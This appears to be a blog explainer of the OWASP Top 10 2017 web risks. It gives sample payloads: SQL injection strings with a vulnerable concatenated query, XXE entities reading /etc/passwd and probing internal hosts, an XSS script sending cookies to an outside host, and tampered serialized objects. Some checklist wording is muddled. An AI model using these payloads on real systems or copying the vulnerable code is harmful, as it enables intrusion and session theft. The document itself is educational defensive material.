OWASP Top Ten Security Vulnerabilities To Look After

The Open Web Application Security Project (OWASP) is a non-profit entity and an open internet community particularly dedicated to advocate organizations with cost-effective approaches in secure code development, secure code review, test, and maintain develop applications. The OWASP apply people, process, and technology pattern on existing and raising issues with the secure application development with OWASP provided libraries, security tools, and industry-standard materials. To ensures the project’s long-term success associated people in your organization with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members.

The OWASP Top 10–2017!

After the data collection from 40+ industry’s well-known application security companies along with the survey data from 500 individuals. In 2017, OWASP published a “Top 10 WEB Application Security Risks” to the community. The top 10 security risks were driven from the collected data, vulnerability, and prioritized according to this prevalence data from hundreds of organizations and 100k+ applications and API. Well sometimes discovering security vulnerabilities in the applications aren’t a piece of cake, it can be quite complex and rigid. In many cases, the most cost-effective approach for finding and eliminating these security weaknesses required intelligence with advanced tools and a sense of security in mind.

What is the risk?

The OWASP Top 10 mainly focuses on identifying the most severe web application security risks on WEB applications and services. For each and risks OWASP publishes to the community, and provide potential generic information about the likelihood and business impact analysis (BIA) guidelines using the following rating scheme, which is based on the OWASP Risk Rating Methodology. The top 10 vulnerabilities are aligned with Common Weakness Enumeration (CWE) on software weaknesses.

Figure 1. Risk rating.

What are Application Security Risks?

Internet is very resourceful to the intruder than a decade ago, there are plenty of Tactics, Techniques, Procedures (TTPs), tools to exploit the vulnerabilities present on the application or organizational infrastructure. Each and every vulnerability represent a risk that could be exploited. To determine the business impact on your organization, you can inherit a risk management framework to conduct, identify, analyze, evaluate the risks according to the likelihood associated with each threat, attack vector, and security weakness, and these factors determine your overall risk.

Figure 2. Application Security Risk flow-OWASP.

Scope of context:

Figure 3. OWASP Top 10 Application Security Risks — 2017.ASR1:2017-Injection:

The attacker use Injection techniques, such as SQL, NoSQL, OS, and LDAP injection, which occur when untrusted data is sent to an interpreter in a form of a command or query. It helps to read, write, copy, access, and execute the data without proper authorization.

Examples:

In this case, the attacker modifies the ‘id’ parameter value in their browser to send: ‘ or ‘1’=’1 commands https://webABC.com/app/accountView?id=' or '1'='1

An application uses untrusted data in the construction of the following vulnerable SQL call:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Application Checklist:

• When user-supplied data into the application is not validated, filtered, or sanitized properly.
• In the interpreter section directly dynamic queries or non-parameterized calls used without escaping it.
• sensitive records data is used within object-relational mapping (ORM).
• Hostile data is directly used or concatenated, implied through dynamic queries with SQL or commands.
• Any sort of injection possibilities can be identified through standard source code review methodology. In addition to that, when you inherit automated testing tools to the code review process it helps you to test all sorts of data inputs such as headers, parameters, cookies, URL, JSON, SOAP, and XML. 

To learn more about the secure SDL practices introduced by Microsoft related to these particular sections such as List of approved SDL tools, Static Analysis Security Testing (SAST), dynamic analysis Security Testing (DAST) tools information can be found in this article (software-developers-top-12-secure-software-development-lifecycle-ssdl-practices-by-microsoft).

ASR2:2017-Broken Authentication

In broken authentication, application functions are not implemented correctly in authentication and session management areas which often leads to vulnerabilities and exploitation by the attackers to compromise keys, passwords, session tokens.

Examples:

Credential stuffing: Using lists of known passwords. If an app does not implement automated threat or credential stuffing protection, the other way around using a password oracle to determine if the credentials are valid or not.

Authentication attacks: Frequent attacks occur due to the continued use of passwords as a sole factor. To learn more about the “Digital Identity” please follow the 4th volume of NIST 800–63 guidelines.

Session timeouts: Make sure to set the server side to change status based on the user sessions.

Application authentication weaknesses checklist:

• An attacker can use automated scripts to perform credential stuffing with the list of valid usernames and passwords.
• It permits brute force or other automated-based attacks.
• By default or well-known passwords.
• Uses weak or ineffective credential recovery methods, forgot-password processes, which cannot be made safe simply.
• Using plain text, encrypted, or weakly hashed passwords.
• Not enabled MFA or ineffective MFA authentication features.
• Exposes Session IDs in the URL (e.g., URL rewriting).
• When Session IDs are not rotated properly on every successful login process.
• during logout or over the period of inactivity the User sessions or authentication tokens are not properly invalidated noticeably in single sign-on (SSO) tokens.

ASR3:2017-Sensitive Data Exposure:

The majority of the web applications and WEB APIs are not properly protected which leads to sensitive data exposures such as personally identifiable information (PII) related to financial and healthcare sectors. Lack of data protection frameworks, policies, encryption features leads to data tampering, stealing, leaking, fraud, identity abuse, and other related crimes.

Examples:

Application encryption process: In database encryption when an application encrypts the credit card numbers in a database, it is automatically decrypted when it is retrieved technically allows injection flaws to retrieve all the data in plaintext format.

Session hijacking/interception: When a website doesn’t impose or use Transport Layer Security (TLS) for its web pages or using deprecated SSL (Secure Sockets Layer) protocols. For instance, in an unsecured wireless network, an attacker can downgrade the connections from HTTPS to HTTP and make arbitrary techniques to intercept the connections and steal session cookies. Later, using the stolen cookie to replay the cookie to hijack an authenticated session or tamper users’ data.

Unsalted/Hashing: Usually, the password DB is not salted or applied any hashing to the data while storing on the DB. if there is a flaw in the file upload process that allows an attacker to retrieve the password from the DB. For instance, popular rainbow table attacks can be performed to pre-calculate the password hashes for cracking.

Checklist:

It’s very important to determine the protection needs of data in use, data on transit, and data at rest. there are many data regulations constrained on privacy and data such as the European Union General Data Protection Regulation (GDPR), PCI Data Security Standard (PCI DSS), and other global regulations.

• Is any data transmitted in plain text form?
• is there any deprecated or weak cryptographic algorithms or protocols are used on codes?
• is there any key management policies are in use? 
• are we using any default or weak crypto keys or key rotation cycle is missing?
• encryption is enforced properly?
• Does the user agent does not verify the received server certificate is valid or not?

ASR4:2017-XML External Entities (XXE):

XML entity values are declared and loaded from outside of the DTD. XML entities often configured poorly which leads to poor evaluation of entity references within the XML documents. So, while using external entities attackers can disclose internal files using the file URI handler because they allow an entity to find internal file shares, port scanning, remote code execution (RCE), and denial of service (Dos) based attacks.

Examples:

1. The attacker attempts to extract data from the vulnerable server:

<?xml version=”1.0" encoding=”ISO-8859–1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<foo>&xxe;</foo>

2. When an attacker attempts to probes the victims internal network (private network) by changing the above ENTITY line to something like:

<!ENTITY xxe SYSTEM “https://192.168.10.1/private" >]>

3. When an attacker attempts to perform a DoS attack by including a endless file parameters:

<!ENTITY xxe SYSTEM “file:///dev/random” >]>

Checklist:

• In particular, XML-based web service and other downstream integrations might be more vulnerable to attack.
• When the application accepts XML directly or through XML uploads from untrusted sources, or inserts untrusted data into XML documents, which is later parsed by an XML processor.
• If any of the XML processors in the application or SOAP-based web services has enabled document type definitions (DTDs).
• When SAML uses XML for identity assertions and may be more vulnerable such as identity processing within federated security or single sign-on (SSO) purposes.
• If the application uses SOAP prior to version 1.2, it is easily influenced by XXE attacks.
• Being vulnerable to XXE attacks likely means that the application is vulnerable to Billion Laughs attack.

ASR5:2017-Broken Access Control:

Basically, Access Contro(AC), implies a strict policy on permissions. When Broken Access Control(BAC) appears which allows attackers to take advantage of these flaws to access sensitive files, user accounts, tamper data, and destruction all data outside of one’s privilege limitation on the data.

Examples:

1. In this example, when an application uses unverified data in a SQL call that leads to access the account information and modifies the ‘acct’ parameter in the browser to send whatever account number they want. If it is not properly verified, the attacker can access any user’s account with this method.

pstmt.setString(1, request.getParameter(“acct”));
ResultSet results = pstmt.executeQuery( );
http://testing.com/app/accountInfo?acct=notmyacct

2. When an attacker forces the WEB browser to the target URLs admin page.

http://testing.com/app/getappInfo

http://testing.com/app/admin_getappInfo

The major difference between an unauthenticated user and an admin user is, when an unauthenticated user can access either page, it’s a flaw. When a non-admin user attempts to access the admin page, it's a flaw.

Checklist:

• Bypassing access control checks with these methods modifying the URL, internal application state, or the HTML page, or using a 3rd party API attack tool.
• When allowing the primary key to be changed to another’s user's record.
• Elevation of privilege.
• Metadata manipulation on a JSON Web Token (JWT) or a cookie.
• CORS misconfiguration allows unauthorized API access.
• Accessing API with missing access controls for HTTP POST, HTTP PUT, and HTTP DELETE.

ASR6:2017-Security Misconfiguration:

When failing to implement all the necessary security controls or measures on a WEB application or a server often considered a major vulnerable issue. Many developers considering default configurations for their applications, servers, cloud storage, HTTP headers, verbose error messages, etc.,

For your reference, There are 12 PCI-DSS requirements for building and maintaining a successful secure network and payment systems. In the 2nd requirement, it says “Do not use vendor-supplied defaults for system passwords and other security parameters”. In this article, you can learn more about the PCI-DSS compliance guide.

Examples:

Application server: In the production environment, the application server comes with a sample number of applications that are usually not removed from the production server. Attackers take advantage of this lack of self-awareness on the production server, these security flaws lead to a successful compromisation of the server. for instance, if any of these applications are running on with default username and passwords on admin accounts., they can be accessed by the attacker or any person with security knowledge.

Directory listing: When the Directory listing is not disabled on the production server, an attacker can discover the listed directories, download the compiled java classes, and then use reverse engineering tools like dex2Jar to decompile to view the source code.

Server’s configuration: The application server’s configuration provides detailed error messages, this could potentially expose sensitive information or underlying security flaws that are known to be vulnerable.

Default sharing permissions: Default sharing permissions offered by the cloud service provider (CSP) are open to the internet which allows to access sensitive data stored on the cloud storage.

Checklist:

• Find any missing security hardening measures on the application stack or any misconfiguration.
• Unnecessary features or services are enabled or installed on the application.
• Verify and remove the default accounts and password usage practices.
• Error handling status messages reveal too much information.
• For upgraded systems, make sure the latest security features are disabled or not configured securely.
• Verify security settings in the application servers, application frameworks, libraries, DB, etc. not set to secure values.
• Make sure the server does not send security headers or directives.
• The application or plugin is out of date or vulnerable to certain exploits.ASR7:2017-Cross-Site Scripting (XSS):

The Cross-Site Scripting (XSS) flaws occur when an application includes untrusted data in a new web page without proper validation or for a chance to update an existing web page with user-supplied data that could create an Html or javascript. The result of these flaws allows an attacker to execute his crafted scripts in the victim’s browser later attacker can hijack user sessions, defame competitors’ websites or redirect to malicious websites for other objectives.

Examples:

In this example, the application uses untrusted data in the Html snippet without validating or escaping it. In particular, the victim’s session ID to be sent to the attacker’s website, allowing an attacker to hijack the user’s current session.

Note: Attackers can use the XSS technique to defeat any automated Cross-Site Request Forgery (CSRF) defense employed by the software developers on the application.

(String) page += “<input name=’creditcard’ type=’TEXT’
value=’” + request.getParameter(“CC”) + “‘>”;

The attacker modifies the ‘CC’ parameter in the browser to:

‘><script>document.location=
‘http://www.test.com/cgi-bin/cookie.cgi?
foo=’+document.cookie</script>’.

Checklist:

• There are three forms of Cross-Site Scripting (XSS) attacks mainly targeting user WEB browser:
• Reflected XSS: The application or API includes unvalidated and unescaped user input as part of Html output.
• Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an admin user. Please, remember that stored XSS is often considered a likelihood of high or critical risk level metrics.
• DOM XSS: If any applications contain JavaScript frameworks, single-page applications, and APIs that dynamically include attacker controllable data to a page are vulnerable to DOM XSS.

ASR8:2017-Insecure Deserialization:

In Insecure deserialization is caused by remote code execution by exploiting well-known vulnerability presence in web applications and run the code remotely.

Examples:

For instance, attackers use the Java Serial Killer tool or Burp extension to perform Java deserialization attacks. in the given below code is immutable, so serializing the user state and passing it back and forth upon receiving each request. when the attacker notices the “R00” object signature, he could use Java serial killer tool to perform a remote code execution attack on the application server. Java Serial Killer tool:

In PHP forum uses PHP object serialization to save a “super” cookie, which contains the user’s user ID, type of role, password hash. here an attacker could change the serialized object to gain access to admin privilege.

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

Checklist:

It’s more vulnerable when an application and APIs deserialize or tamper objects issued by an attacker. it could further lead to two types of attacks.

(I) When the attacker modifies the app’s logic or archive arbitrary remote code execution when there are classes available to the application that could change the behavior during or after deserialization.

• Data tampering attacks such as access control-related attacks.

Serialization may be used in applications for:

• Remote and inter-process communication (RPC/IPC).
• Wire protocols, web services, message brokers.
• Caching/Persistence.
• DB, cache servers, file systems.
• HTTP cookies, HTML form parameters, API authentication tokens.

ASR9:2017-Using Components with Known Vulnerabilities:

Every organization’s production environment is coupled with third-party tools and frameworks upon using components with Known Vulnerabilities that could cause catastrophic impact to the business operation. When an attacker exploits the component vulnerabilities, data loss, privilege escalation, and server takeover. Despite the fact, maintaining a “Third-party Component Management Life Cycle (TPCM)”, helps R&D team members to Maintain, Assess, and Mitigate phases depends on each other outcomes, but Monitor phase considered as an independent process that is required throughout the entire third-party component life cycle.
To learn more about secure coding and practices in another article follow this link.

Examples:

Components could cause severe impact because by default components run with the same privileges as the application. such as coding error, intentional etc.,

• CVE-2017–5638:

It has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.

• Internet of things (IoT):

There are several automated tools to help attackers find unpatched or misconfigured systems within the network. For example, the Shodan IoT search engine can help you find devices that still suffer from the Heartbleed vulnerability ((CVE-2014–0160)).

Checklist:

• Not aware of the versions of all components you use in the production environment.
• Out of date components such as OS, application server, DB management system (DBMS), applications, APIs, runtime environments, and libraries.
• If you do not fix or upgrade the underlying risks on time. 
• When software developers doesn’t perform compatibility test of updated, upgraded, or patched libraries.
• Insecure the components’ configurations.

ASR10:2017-Insufficient Logging & Monitoring:

In OWASP Top-10 security risks, Insufficient logging and monitoring are one of the crucial practices to consider within an organization. actual incident response, forensic analysis is happening in this section. so, it’s crucial to have logging and monitoring enabled in all applications and services.

Examples:

When the attacker successfully hacked a web application, he might delete the activity, wipe out source code repository, contents, etc., An attacker uses a reconnaissance strategy to identify running services, find out vulnerable ports, services, common passwords.

Checklist:

• Important Event management activities, such as entry logs, successful logins, failed logins, brute login attacks are not logged.
• Doesn't monitor error log messages.
• Doesn't Monitor for suspicious activity.
• lack of log retention and storage management policies.
• Appropriate alerting thresholds and automation response processes are not in place.
• Penetration testing DAST tools do not trigger required alerts on time.
• The application is unable to detect, escalate, or alert for active attacks in real-time.
• Organizations are vulnerable to information leakage if application logging and alerting events are visible to an external user or an attacker.

 — — — — — — — — — — — — — THE END — — — — — — — — — — — — 

Quote of the day: One must not tie a ship to a single anchor, nor life to a single hope — Epictetus

Thanks for reading!

Have a pleasant day!